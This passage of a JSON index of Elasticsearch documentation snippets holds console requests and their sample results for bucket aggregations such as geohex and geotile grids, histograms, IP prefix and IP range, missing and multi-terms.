(2.327000 48.860000)\", \"name\": \"Musée d'Orsay\"}\n\nPOST /museums/_search?size=0\n{\n \"aggregations\": {\n \"large-grid\": {\n \"geohex_grid\": {\n \"field\": \"location\",\n \"precision\": 4\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/geohexgrid-aggregation.asciidoc","line":71},"digest":"e351306130c398ec3504f5d6dcf782f7","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"large-grid\": {\n \"buckets\": [\n {\n \"key\": \"841969dffffffff\",\n \"doc_count\": 3\n },\n {\n \"key\": \"841fb47ffffffff\",\n \"doc_count\": 2\n },\n {\n \"key\": \"841fa4dffffffff\",\n \"doc_count\": 1\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/geohexgrid-aggregation.asciidoc","line":105},"digest":"a412fe22a74900c72434391ed75139dc","lang":"console","found":[],"source":"POST /museums/_search?size=0\n{\n \"aggregations\": {\n \"zoomed-in\": {\n \"filter\": {\n \"geo_bounding_box\": {\n \"location\": {\n \"top_left\": \"POINT (4.9 52.4)\",\n \"bottom_right\": \"POINT (5.0 52.3)\"\n }\n }\n },\n \"aggregations\": {\n \"zoom1\": {\n \"geohex_grid\": {\n \"field\": \"location\",\n \"precision\": 12\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/geohexgrid-aggregation.asciidoc","line":135},"digest":"a397957b465915826a36475956e0f0ec","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"zoomed-in\": {\n \"doc_count\": 3,\n \"zoom1\": {\n \"buckets\": [\n {\n \"key\": \"8c1969c9b2617ff\",\n \"doc_count\": 1\n },\n {\n \"key\": \"8c1969526d753ff\",\n \"doc_count\": 1\n },\n {\n \"key\": \"8c1969526d26dff\",\n \"doc_count\": 1\n }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/geohexgrid-aggregation.asciidoc","line":176},"digest":"a9d44463dcea3cb0ea4c8f8460cea524","lang":"console","found":[],"source":"POST /museums/_search?size=0\n{\n \"aggregations\": {\n \"tiles-in-bounds\": {\n \"geohex_grid\": {\n \"field\": \"location\",\n \"precision\": 12,\n \"bounds\": {\n \"top_left\": \"POINT (4.9 52.4)\",\n \"bottom_right\": \"POINT (5.0 52.3)\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/geohexgrid-aggregation.asciidoc","line":198},"digest":"37815f39dcfeaaaa0b8557bd8e83c6b4","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"tiles-in-bounds\": {\n \"buckets\": [\n {\n \"key\": \"8c1969c9b2617ff\",\n \"doc_count\": 1\n },\n {\n \"key\": \"8c1969526d753ff\",\n \"doc_count\": 1\n },\n {\n \"key\": \"8c1969526d26dff\",\n \"doc_count\": 1\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/geotilegrid-aggregation.asciidoc","line":38},"digest":"935ee7c1b86ba9592604834bb673c7a3","lang":"console","found":["ruby"],"source":"PUT /museums\n{\n \"mappings\": {\n \"properties\": {\n \"location\": {\n \"type\": \"geo_point\"\n }\n }\n }\n}\n\nPOST /museums/_bulk?refresh\n{\"index\":{\"_id\":1}}\n{\"location\": \"POINT (4.912350 52.374081)\", \"name\": \"NEMO Science Museum\"}\n{\"index\":{\"_id\":2}}\n{\"location\": \"POINT (4.901618 52.369219)\", \"name\": \"Museum Het Rembrandthuis\"}\n{\"index\":{\"_id\":3}}\n{\"location\": \"POINT (4.914722 52.371667)\", \"name\": \"Nederlands Scheepvaartmuseum\"}\n{\"index\":{\"_id\":4}}\n{\"location\": \"POINT (4.405200 51.222900)\", \"name\": \"Letterenhuis\"}\n{\"index\":{\"_id\":5}}\n{\"location\": \"POINT (2.336389 48.861111)\", \"name\": \"Musée du Louvre\"}\n{\"index\":{\"_id\":6}}\n{\"location\": \"POINT (2.327000 48.860000)\", \"name\": \"Musée d'Orsay\"}\n\nPOST /museums/_search?size=0\n{\n \"aggregations\": {\n \"large-grid\": {\n \"geotile_grid\": {\n \"field\": \"location\",\n \"precision\": 8\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/geotilegrid-aggregation.asciidoc","line":80},"digest":"1c43fa3eaca8c1ae0f854c35dea15e39","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"large-grid\": {\n \"buckets\": [\n {\n \"key\": \"8/131/84\",\n \"doc_count\": 3\n },\n {\n \"key\": \"8/129/88\",\n \"doc_count\": 2\n },\n {\n \"key\": \"8/131/85\",\n \"doc_count\": 1\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/geotilegrid-aggregation.asciidoc","line":114},"digest":"4659f639d71a54df571260ee5798dbb3","lang":"console","found":["ruby"],"source":"POST /museums/_search?size=0\n{\n \"aggregations\": {\n \"zoomed-in\": {\n \"filter\": {\n \"geo_bounding_box\": {\n \"location\": {\n \"top_left\": \"POINT (4.9 52.4)\",\n \"bottom_right\": \"POINT (5.0 52.3)\"\n }\n }\n },\n \"aggregations\": {\n \"zoom1\": {\n \"geotile_grid\": {\n \"field\": \"location\",\n \"precision\": 22\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/geotilegrid-aggregation.asciidoc","line":144},"digest":"01a7976b0db92e756137671985f994fd","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"zoomed-in\": {\n \"doc_count\": 3,\n \"zoom1\": {\n \"buckets\": [\n {\n \"key\": \"22/2154412/1378379\",\n \"doc_count\": 1\n },\n {\n \"key\": \"22/2154385/1378332\",\n \"doc_count\": 1\n },\n {\n \"key\": \"22/2154259/1378425\",\n \"doc_count\": 1\n }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/geotilegrid-aggregation.asciidoc","line":185},"digest":"641009f2147e1ca56215c701f45c970b","lang":"console","found":["ruby"],"source":"POST /museums/_search?size=0\n{\n \"aggregations\": {\n \"tiles-in-bounds\": {\n \"geotile_grid\": {\n \"field\": \"location\",\n \"precision\": 22,\n \"bounds\": {\n \"top_left\": \"POINT (4.9 52.4)\",\n \"bottom_right\": \"POINT (5.0 52.3)\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/geotilegrid-aggregation.asciidoc","line":207},"digest":"1510c4a39ef24b188e334212cc5ad9c3","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"tiles-in-bounds\": {\n \"buckets\": [\n {\n \"key\": \"22/2154412/1378379\",\n \"doc_count\": 1\n },\n {\n \"key\": \"22/2154385/1378332\",\n \"doc_count\": 1\n },\n {\n \"key\": \"22/2154259/1378425\",\n \"doc_count\": 1\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/global-aggregation.asciidoc","line":18},"digest":"21a226d91d8edd209f6a821064e83918","lang":"console","found":["ruby"],"source":"POST /sales/_search?size=0\n{\n \"query\": {\n \"match\": { \"type\": \"t-shirt\" }\n },\n \"aggs\": {\n \"all_products\": {\n \"global\": {}, <1>\n \"aggs\": { <2>\n \"avg_price\": { \"avg\": { \"field\": \"price\" } }\n }\n },\n \"t_shirts\": { \"avg\": { \"field\": \"price\" } }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/global-aggregation.asciidoc","line":48},"digest":"37d770752407ebc0241ee249621be2c6","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"all_products\": {\n \"doc_count\": 7, <1>\n \"avg_price\": {\n \"value\": 140.71428571428572 <2>\n }\n },\n \"t_shirts\": {\n \"value\": 128.33333333333334 <3>\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/histogram-aggregation.asciidoc","line":31},"digest":"1ff9b263b7c3e83278bb6a776a51590a","lang":"console","found":["ruby"],"source":"POST /sales/_search?size=0\n{\n \"aggs\": {\n \"prices\": {\n \"histogram\": {\n \"field\": \"price\",\n \"interval\": 50\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/histogram-aggregation.asciidoc","line":49},"digest":"b761545543d0742130cce7f8f3193955","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"prices\": {\n \"buckets\": [\n {\n \"key\": 0.0,\n \"doc_count\": 1\n },\n {\n \"key\": 50.0,\n \"doc_count\": 1\n },\n {\n \"key\": 100.0,\n \"doc_count\": 0\n },\n {\n \"key\": 150.0,\n \"doc_count\": 2\n },\n {\n \"key\": 200.0,\n \"doc_count\": 3\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/histogram-aggregation.asciidoc","line":89},"digest":"0da477cb8a7883539ce3ae7ac1e9c5cb","lang":"console","found":["ruby"],"source":"POST /sales/_search?size=0\n{\n \"aggs\": {\n \"prices\": {\n \"histogram\": {\n \"field\": \"price\",\n \"interval\": 50,\n \"min_doc_count\": 1\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/histogram-aggregation.asciidoc","line":108},"digest":"fdc4905125360c0adb81c577ea8e1981","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"prices\": {\n \"buckets\": [\n {\n \"key\": 0.0,\n \"doc_count\": 1\n },\n {\n \"key\": 50.0,\n \"doc_count\": 1\n },\n {\n \"key\": 150.0,\n \"doc_count\": 2\n },\n {\n \"key\": 200.0,\n \"doc_count\": 3\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/histogram-aggregation.asciidoc","line":164},"digest":"a4ec42130f3c75fc9d1d5f7cb6222cd5","lang":"console","found":["ruby"],"source":"POST /sales/_search?size=0\n{\n \"query\": {\n \"constant_score\": { \"filter\": { \"range\": { \"price\": { \"to\": \"500\" } } } }\n },\n \"aggs\": {\n \"prices\": {\n \"histogram\": {\n \"field\": \"price\",\n \"interval\": 50,\n \"extended_bounds\": {\n \"min\": 0,\n \"max\": 500\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/histogram-aggregation.asciidoc","line":201},"digest":"f8525c2460a577edfef156c13f55b8a7","lang":"console","found":["ruby"],"source":"POST /sales/_search?size=0\n{\n \"query\": {\n \"constant_score\": { \"filter\": { \"range\": { \"price\": { \"to\": \"500\" } } } }\n },\n \"aggs\": {\n \"prices\": {\n \"histogram\": {\n \"field\": \"price\",\n \"interval\": 50,\n \"hard_bounds\": {\n \"min\": 100,\n \"max\": 200\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/histogram-aggregation.asciidoc","line":248},"digest":"b7ad394975863a8f5ee29627c3ab738b","lang":"console","found":["ruby"],"source":"POST /sales/_search?size=0\n{\n \"aggs\": {\n \"prices\": {\n \"histogram\": {\n \"field\": \"price\",\n \"interval\": 50,\n \"keyed\": true\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/histogram-aggregation.asciidoc","line":267},"digest":"fec66098a3609319236458bb42122b0f","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"prices\": {\n \"buckets\": {\n \"0.0\": {\n \"key\": 0.0,\n \"doc_count\": 1\n },\n \"50.0\": {\n \"key\": 50.0,\n \"doc_count\": 1\n },\n \"100.0\": {\n \"key\": 100.0,\n \"doc_count\": 0\n },\n \"150.0\": {\n \"key\": 150.0,\n \"doc_count\": 2\n },\n \"200.0\": {\n \"key\": 200.0,\n \"doc_count\": 3\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/histogram-aggregation.asciidoc","line":307},"digest":"69582847099ee62ed34feddfaba83ef6","lang":"console","found":["ruby"],"source":"POST /sales/_search?size=0\n{\n \"aggs\": {\n \"quantity\": {\n \"histogram\": {\n \"field\": \"quantity\",\n \"interval\": 10,\n \"missing\": 0 <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/histogram-aggregation.asciidoc","line":334},"digest":"1ed77bf308fa4ab328b36060e412f500","lang":"console","found":["ruby"],"source":"PUT metrics_index\n{\n \"mappings\": {\n \"properties\": {\n \"network\": {\n \"properties\": {\n \"name\": {\n \"type\": \"keyword\"\n }\n }\n },\n \"latency_histo\": {\n \"type\": \"histogram\"\n }\n }\n }\n}\n\nPUT metrics_index/_doc/1?refresh\n{\n \"network.name\" : \"net-1\",\n \"latency_histo\" : {\n \"values\" : [1, 3, 8, 12, 15],\n \"counts\" : [3, 7, 23, 12, 6]\n }\n}\n\nPUT metrics_index/_doc/2?refresh\n{\n \"network.name\" : \"net-2\",\n \"latency_histo\" : {\n \"values\" : [1, 6, 8, 12, 14],\n \"counts\" : [8, 17, 8, 7, 6]\n }\n}\n\nPOST /metrics_index/_search?size=0\n{\n \"aggs\": {\n \"latency_buckets\": {\n \"histogram\": {\n \"field\": \"latency_histo\",\n \"interval\": 5\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/histogram-aggregation.asciidoc","line":389},"digest":"7e9af9f1782268b9809f96651b7043b3","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"latency_buckets\": {\n \"buckets\": [\n {\n \"key\": 0.0,\n \"doc_count\": 18\n },\n {\n \"key\": 5.0,\n \"doc_count\": 48\n },\n {\n \"key\": 10.0,\n \"doc_count\": 25\n },\n {\n \"key\": 15.0,\n \"doc_count\": 6\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/ipprefix-aggregation.asciidoc","line":14},"digest":"7c5aed55a2a1dce4b63c18e1ce8146ff","lang":"console","found":["ruby"],"source":"PUT network-traffic\n{\n \"mappings\": {\n \"properties\": {\n \"ipv4\": { \"type\": \"ip\" },\n \"ipv6\": { \"type\": \"ip\" }\n }\n }\n}\n\nPOST /network-traffic/_bulk?refresh\n{\"index\":{\"_id\":0}}\n{\"ipv4\":\"192.168.1.10\",\"ipv6\":\"2001:db8:a4f8:112a:6001:0:12:7f10\"}\n{\"index\":{\"_id\":1}}\n{\"ipv4\":\"192.168.1.12\",\"ipv6\":\"2001:db8:a4f8:112a:6001:0:12:7f12\"}\n{\"index\":{\"_id\":2}}\n{ \"ipv4\":\"192.168.1.33\",\"ipv6\":\"2001:db8:a4f8:112a:6001:0:12:7f33\"}\n{\"index\":{\"_id\":3}}\n{\"ipv4\":\"192.168.1.10\",\"ipv6\":\"2001:db8:a4f8:112a:6001:0:12:7f10\"}\n{\"index\":{\"_id\":4}}\n{\"ipv4\":\"192.168.2.41\",\"ipv6\":\"2001:db8:a4f8:112c:6001:0:12:7f41\"}\n{\"index\":{\"_id\":5}}\n{\"ipv4\":\"192.168.2.10\",\"ipv6\":\"2001:db8:a4f8:112c:6001:0:12:7f10\"}\n{\"index\":{\"_id\":6}}\n{\"ipv4\":\"192.168.2.23\",\"ipv6\":\"2001:db8:a4f8:112c:6001:0:12:7f23\"}\n{\"index\":{\"_id\":7}}\n{\"ipv4\":\"192.168.3.201\",\"ipv6\":\"2001:db8:a4f8:114f:6001:0:12:7201\"}\n{\"index\":{\"_id\":8}}\n{\"ipv4\":\"192.168.3.107\",\"ipv6\":\"2001:db8:a4f8:114f:6001:0:12:7307\"}"}, {"source_location":{"file":"aggregations/bucket/ipprefix-aggregation.asciidoc","line":50},"digest":"5a754dcc854b9154296550a0b581cb9d","lang":"console","found":["ruby"],"source":"GET /network-traffic/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"ipv4-subnets\": {\n \"ip_prefix\": {\n \"field\": \"ipv4\",\n \"prefix_length\": 24\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/ipprefix-aggregation.asciidoc","line":69},"digest":"9d413061e61b51498e7d21f68bddc8b3","lang":"console-result","found":[],"source":"{\n ...\n\n \"aggregations\": {\n \"ipv4-subnets\": {\n \"buckets\": [\n {\n \"key\": \"192.168.1.0\",\n \"is_ipv6\": false,\n \"doc_count\": 4,\n \"prefix_length\": 24,\n \"netmask\": \"255.255.255.0\"\n },\n {\n \"key\": \"192.168.2.0\",\n \"is_ipv6\": false,\n \"doc_count\": 3,\n \"prefix_length\": 24,\n \"netmask\": \"255.255.255.0\"\n },\n {\n \"key\": \"192.168.3.0\",\n \"is_ipv6\": false,\n \"doc_count\": 2,\n \"prefix_length\": 24,\n \"netmask\": \"255.255.255.0\"\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/ipprefix-aggregation.asciidoc","line":107},"digest":"851f9754dbefc099c54c5423ca4565c0","lang":"console","found":["ruby"],"source":"GET /network-traffic/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"ipv6-subnets\": {\n \"ip_prefix\": {\n \"field\": \"ipv6\",\n \"prefix_length\": 64,\n \"is_ipv6\": true\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/ipprefix-aggregation.asciidoc","line":127},"digest":"6a16b05416d7fe2681cf39faf2eb47dd","lang":"console-result","found":[],"source":"{\n ...\n\n \"aggregations\": {\n \"ipv6-subnets\": {\n \"buckets\": [\n {\n \"key\": \"2001:db8:a4f8:112a::\",\n \"is_ipv6\": true,\n \"doc_count\": 4,\n \"prefix_length\": 64\n },\n {\n \"key\": \"2001:db8:a4f8:112c::\",\n \"is_ipv6\": true,\n \"doc_count\": 3,\n \"prefix_length\": 64\n },\n {\n \"key\": \"2001:db8:a4f8:114f::\",\n \"is_ipv6\": true,\n \"doc_count\": 2,\n \"prefix_length\": 64\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/ipprefix-aggregation.asciidoc","line":219},"digest":"4c803b088c1915a7b0634d5cafabe606","lang":"console","found":["ruby"],"source":"GET /network-traffic/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"ipv4-subnets\": {\n \"ip_prefix\": {\n \"field\": \"ipv4\",\n \"prefix_length\": 24,\n \"keyed\": true\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/ipprefix-aggregation.asciidoc","line":239},"digest":"302d8b2499946dc3cf6e8f2b2a411ff0","lang":"console-result","found":[],"source":"{\n ...\n\n \"aggregations\": {\n \"ipv4-subnets\": {\n \"buckets\": {\n \"192.168.1.0\": {\n \"is_ipv6\": false,\n \"doc_count\": 4,\n \"prefix_length\": 24,\n \"netmask\": \"255.255.255.0\"\n },\n \"192.168.2.0\": {\n \"is_ipv6\": false,\n \"doc_count\": 3,\n \"prefix_length\": 24,\n \"netmask\": \"255.255.255.0\"\n },\n \"192.168.3.0\": {\n \"is_ipv6\": false,\n \"doc_count\": 2,\n \"prefix_length\": 24,\n \"netmask\": \"255.255.255.0\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/ipprefix-aggregation.asciidoc","line":279},"digest":"97da68c09c9f1a97a21780fd404e213a","lang":"console","found":["ruby"],"source":"GET /network-traffic/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"ipv4-subnets\": {\n \"ip_prefix\": {\n \"field\": \"ipv4\",\n \"prefix_length\": 24,\n \"append_prefix_length\": true\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/ipprefix-aggregation.asciidoc","line":299},"digest":"046cb749b74dc843528feac0fbd1d879","lang":"console-result","found":[],"source":"{\n ...\n\n \"aggregations\": {\n \"ipv4-subnets\": {\n \"buckets\": [\n {\n \"key\": \"192.168.1.0/24\",\n \"is_ipv6\": false,\n \"doc_count\": 4,\n \"prefix_length\": 24,\n \"netmask\": \"255.255.255.0\"\n },\n {\n \"key\": \"192.168.2.0/24\",\n \"is_ipv6\": false,\n \"doc_count\": 3,\n \"prefix_length\": 24,\n \"netmask\": \"255.255.255.0\"\n },\n {\n \"key\": \"192.168.3.0/24\",\n \"is_ipv6\": false,\n \"doc_count\": 2,\n \"prefix_length\": 24,\n \"netmask\": \"255.255.255.0\"\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/ipprefix-aggregation.asciidoc","line":340},"digest":"26419320085434680142567d5fda9c35","lang":"console","found":["ruby"],"source":"GET /network-traffic/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"ipv4-subnets\": {\n \"ip_prefix\": {\n \"field\": \"ipv4\",\n \"prefix_length\": 24,\n \"min_doc_count\": 3\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/ipprefix-aggregation.asciidoc","line":360},"digest":"f60009e1a7f4aa91603049cb5cd9ba63","lang":"console-result","found":[],"source":"{\n ...\n\n \"aggregations\": {\n \"ipv4-subnets\": {\n \"buckets\": [\n {\n \"key\": \"192.168.1.0\",\n \"is_ipv6\": false,\n \"doc_count\": 4,\n \"prefix_length\": 24,\n \"netmask\": \"255.255.255.0\"\n },\n {\n \"key\": \"192.168.2.0\",\n \"is_ipv6\": false,\n \"doc_count\": 3,\n \"prefix_length\": 24,\n \"netmask\": \"255.255.255.0\"\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/iprange-aggregation.asciidoc","line":12},"digest":"97916243f245478b735471a9e37f33d1","lang":"console","found":["ruby"],"source":"GET /ip_addresses/_search\n{\n \"size\": 10,\n \"aggs\": {\n \"ip_ranges\": {\n \"ip_range\": {\n \"field\": \"ip\",\n \"ranges\": [\n { \"to\": \"10.0.0.5\" },\n { \"from\": \"10.0.0.5\" }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/iprange-aggregation.asciidoc","line":34},"digest":"93036b3fa99464ffd6384d29db5fa5b7","lang":"console-result","found":[],"source":"{\n ...\n\n \"aggregations\": {\n \"ip_ranges\": {\n \"buckets\": [\n {\n \"key\": \"*-10.0.0.5\",\n \"to\": \"10.0.0.5\",\n \"doc_count\": 10\n },\n {\n \"key\": \"10.0.0.5-*\",\n \"from\": \"10.0.0.5\",\n \"doc_count\": 260\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/iprange-aggregation.asciidoc","line":61},"digest":"dec2af498a7e5892e8fcd09ae779c8f0","lang":"console","found":["ruby"],"source":"GET /ip_addresses/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"ip_ranges\": {\n \"ip_range\": {\n \"field\": \"ip\",\n \"ranges\": [\n { \"mask\": \"10.0.0.0/25\" },\n { \"mask\": \"10.0.0.127/25\" }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/iprange-aggregation.asciidoc","line":83},"digest":"a055d8d483ba2294c5094bf39b84183f","lang":"console-result","found":[],"source":"{\n ...\n\n \"aggregations\": {\n \"ip_ranges\": {\n \"buckets\": [\n {\n \"key\": \"10.0.0.0/25\",\n \"from\": \"10.0.0.0\",\n \"to\": \"10.0.0.128\",\n \"doc_count\": 128\n },\n {\n \"key\": \"10.0.0.127/25\",\n \"from\": \"10.0.0.0\",\n \"to\": \"10.0.0.128\",\n \"doc_count\": 128\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/iprange-aggregation.asciidoc","line":114},"digest":"a3d13833714f9bb918e5e0f62a49bd0e","lang":"console","found":["ruby"],"source":"GET /ip_addresses/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"ip_ranges\": {\n \"ip_range\": {\n \"field\": \"ip\",\n \"ranges\": [\n { \"to\": \"10.0.0.5\" },\n { \"from\": \"10.0.0.5\" }\n ],\n \"keyed\": true\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/iprange-aggregation.asciidoc","line":137},"digest":"b450cd2b82334b7b841236dc0dfb655b","lang":"console-result","found":[],"source":"{\n ...\n\n \"aggregations\": {\n \"ip_ranges\": {\n \"buckets\": {\n \"*-10.0.0.5\": {\n \"to\": \"10.0.0.5\",\n \"doc_count\": 10\n },\n \"10.0.0.5-*\": {\n \"from\": \"10.0.0.5\",\n \"doc_count\": 260\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/iprange-aggregation.asciidoc","line":162},"digest":"a799477dff04578b200788a63f9cff71","lang":"console","found":["ruby"],"source":"GET /ip_addresses/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"ip_ranges\": {\n \"ip_range\": {\n \"field\": \"ip\",\n \"ranges\": [\n { \"key\": \"infinity\", \"to\": \"10.0.0.5\" },\n { \"key\": \"and-beyond\", \"from\": \"10.0.0.5\" }\n ],\n \"keyed\": true\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/iprange-aggregation.asciidoc","line":185},"digest":"25598b2889a04a2d2f0a27761cd349c2","lang":"console-result","found":[],"source":"{\n ...\n\n \"aggregations\": {\n \"ip_ranges\": {\n \"buckets\": {\n \"infinity\": {\n \"to\": \"10.0.0.5\",\n \"doc_count\": 10\n },\n \"and-beyond\": {\n \"from\": \"10.0.0.5\",\n \"doc_count\": 260\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/missing-aggregation.asciidoc","line":12},"digest":"8b5bc6e217b0d33e4c88d84f5c1a0712","lang":"console","found":["ruby"],"source":"POST /sales/_search?size=0\n{\n \"aggs\": {\n \"products_without_a_price\": {\n \"missing\": { \"field\": \"price\" }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/missing-aggregation.asciidoc","line":29},"digest":"0bd0e0af805fc7919308e237d4c9bf59","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\": {\n \"products_without_a_price\": {\n \"doc_count\": 0\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/multi-terms-aggregation.asciidoc","line":61},"digest":"d35a4d78a8b70c9e4d636efb0a92be9d","lang":"console","found":["ruby"],"source":"GET /products/_search\n{\n \"aggs\": {\n \"genres_and_products\": {\n \"multi_terms\": {\n \"terms\": [{\n \"field\": \"genre\" <1>\n }, {\n \"field\": \"product\"\n }]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/multi-terms-aggregation.asciidoc","line":85},"digest":"480e7bb42de45b25be5a63aedcfdec12","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\" : {\n \"genres_and_products\" : {\n \"doc_count_error_upper_bound\" : 0, <1>\n \"sum_other_doc_count\" : 0, <2>\n \"buckets\" : [ <3>\n {\n \"key\" : [ <4>\n \"rock\",\n \"Product A\"\n ],\n \"key_as_string\" : \"rock|Product A\",\n \"doc_count\" : 2\n },\n {\n \"key\" : [\n \"electronic\",\n \"Product B\"\n ],\n \"key_as_string\" : \"electronic|Product B\",\n \"doc_count\" : 1\n },\n {\n \"key\" : [\n \"jazz\",\n \"Product B\"\n ],\n \"key_as_string\" : \"jazz|Product B\",\n \"doc_count\" : 1\n },\n {\n \"key\" : [\n \"rock\",\n \"Product B\"\n ],\n \"key_as_string\" : \"rock|Product B\",\n \"doc_count\" : 1\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/multi-terms-aggregation.asciidoc","line":172},"digest":"ec8f176ebf436d5719bdeca4a9ea8220","lang":"console","found":["ruby"],"source":"GET /products/_search\n{\n \"runtime_mappings\": {\n \"genre.length\": {\n \"type\": \"long\",\n \"script\": \"emit(doc['genre'].value.length())\"\n }\n },\n \"aggs\": {\n \"genres_and_products\": {\n \"multi_terms\": {\n \"terms\": [\n {\n \"field\": \"genre.length\"\n },\n {\n \"field\": \"product\"\n }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/multi-terms-aggregation.asciidoc","line":202},"digest":"1fd186529287d0ffbc7d6154bd59d166","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\" : {\n \"genres_and_products\" : {\n \"doc_count_error_upper_bound\" : 0,\n \"sum_other_doc_count\" : 0,\n \"buckets\" : [\n {\n \"key\" : [\n 4,\n \"Product A\"\n ],\n \"key_as_string\" : \"4|Product A\",\n \"doc_count\" : 2\n },\n {\n \"key\" : [\n 4,\n \"Product B\"\n ],\n \"key_as_string\" : \"4|Product B\",\n \"doc_count\" : 2\n },\n {\n \"key\" : [\n 10,\n \"Product B\"\n ],\n \"key_as_string\" : \"10|Product B\",\n \"doc_count\" : 1\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/multi-terms-aggregation.asciidoc","line":248},"digest":"e82c33def91faddcfeed7b02cd258605","lang":"console","found":["ruby"],"source":"GET /products/_search\n{\n \"aggs\": {\n \"genres_and_products\": {\n \"multi_terms\": {\n \"terms\": [\n {\n \"field\": \"genre\"\n },\n {\n \"field\": \"product\",\n \"missing\": \"Product Z\"\n }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/multi-terms-aggregation.asciidoc","line":273},"digest":"386e857f087f568ee7f8b31069c0a252","lang":"console-result","found":[],"source":"{\n ...\n \"aggregations\" : {\n \"genres_and_products\" : {\n \"doc_count_error_upper_bound\" : 0,\n \"sum_other_doc_count\" : 0,\n \"buckets\" : [\n {\n \"key\" : [\n \"rock\",\n \"Product A\"\n ],\n \"key_as_string\" : \"rock|Product A\",\n \"doc_count\" : 2\n },\n {\n \"key\" : [\n \"electronic\",\n \"Product B\"\n ],\n \"key_as_string\" : \"electronic|Product B\",\n \"doc_count\" : 1\n },\n {\n \"key\" : [\n \"electronic\",\n \"Product Z\"\n ],\n \"key_as_string\" : \"electronic|Product Z\", <1>\n \"doc_count\" : 1\n },\n {\n \"key\" : [\n \"jazz\",\n \"Product B\"\n ],\n \"key_as_string\" : \"jazz|Product B\",\n \"doc_count\" : 1\n },\n {\n \"key\" : [\n \"rock\",\n \"Product B\"\n ],\n \"key_as_string\" : \"rock|Product B\",\n \"doc_count\" : 1\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/bucket/multi-terms-aggregation.asciidoc","line":342},"digest":"73f9271dee9b8539b6aa7e17f323c623","lang":"console","found":["ruby"],"source":"GET /products/_search\n{\n \"aggs\": {\n \"genres_and_products\": {\n \"multi_terms\": {\n \"terms\": [\n {\n \"field\": \"genre\"\n },\n {\n \"field\": \"product\"\n }\n ],\n \"order\": {\n \"total_quantity\": \"desc\"\n }\n },\n \"aggs\": {\n 